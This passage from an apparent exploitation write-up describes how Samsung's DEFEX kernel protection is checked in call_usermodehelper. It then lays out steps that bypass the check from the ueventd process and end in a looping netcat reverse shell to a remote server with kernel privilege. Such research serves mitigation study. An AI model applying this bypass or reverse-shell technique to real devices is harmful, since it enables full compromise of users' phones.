prepare_kernel_cred(current); 1193 | ... 1194 | commit_creds(new); 1195 | ... 1196 | retval = do_execve(getname_kernel(sub_info->path), 1197 | (const char __user *const __user *)sub_info->argv, 1198 | (const char __user *const __user *)sub_info->envp); 1199 | ... 1200 | ``` 1201 | 1202 | In addition to DEFEX in `do_execve`, before calling `call_usermodehelper_exec_async`, `call_usermodehelper_exec` do another DEFEX check like following code snippet. 1203 | 1204 | ```c++ 1205 | int call_usermodehelper_exec(struct subprocess_info *sub_info, int wait) 1206 | { 1207 | DECLARE_COMPLETION_ONSTACK(done); 1208 | int retval = 0; 1209 | 1210 | ... 1211 | 1212 | #if defined(CONFIG_SECURITY_DEFEX) && ANDROID_VERSION >= 100000 /* Over Q in case of Exynos */ 1213 | if (task_defex_user_exec(sub_info->path)) { 1214 | goto out; 1215 | } 1216 | #endif 1217 | 1218 | ... 1219 | 1220 | queue_work(system_unbound_wq, &sub_info->work); 1221 | 1222 | ... 1223 | ``` 1224 | 1225 | Above `task_defex_user_exec` is newly added to Samsung Galaxy's kernel in Sep, 2020 firmware update. 1226 | 1227 | 1228 | 1229 | **DEFEX Bypass** 1230 | 1231 | As we saw above part, just calling `call_usermodehelper` doesn't work due to newly updated DEFEX. But, `ueventd` is root privileged process and its parent process is `init` process. And also it is not protected by DEFEX. 1232 | 1233 | As similar to the way we bypass SELinux restriction, to bypass new DEFEX, all we need to do is calling `call_usermodehelper`'s subroutines separately in `ueventd` process. 1234 | 1235 | 1. Set `call_usermodehelper_setup`'s arguments in kernel memory via arbitrary kernel write primitive. 1236 | 2. Call `call_usermodehelper_setup` with our arguments via arbitrary kernel function call primitive. 1237 | 3. Read and Copy `system_unbound_wq` and `sub_info` data. 1238 | 4. Call `queue_work` with copied `system_unbound_wq` and `sub_info`. 1239 | 5. Due to DEFEX check in `do_execve`, we use shellscript like `/system/bin/sh -c "while [ 1 ] ; do /system/bin/toybox nc ..."` because `/system/bin/sh` has `feature_safeplace_path` attribute. 1240 | 1241 | In this way, we can get reverse shell from remote server with full kernel privilege. 1242 | 1243 | 1244 | 1245 | **[DEMO](https://twitter.com/vngkv123/status/1328223035137036290?s=20)** 1246 | 1247 | 1248 | 1249 | # Conclusion 1250 | 1251 | Currently Android and iOS both are trying to prevent attacker from exploit their resources. Basically exterminating all bugs is impossible, so their focus is on hardening mitigations by introducing CFI like mechanisms. Although these mitigations surprisingly decrease exploitation success rate, we can always find bypass methods in their development assumption. 1252 | 1253 | 1254 | 1255 | 1256 | 1257 | 1258 | 1259 | 1260 | 1261 | 1262 | 1263 | 1264 | --------------------------------------------------------------------------------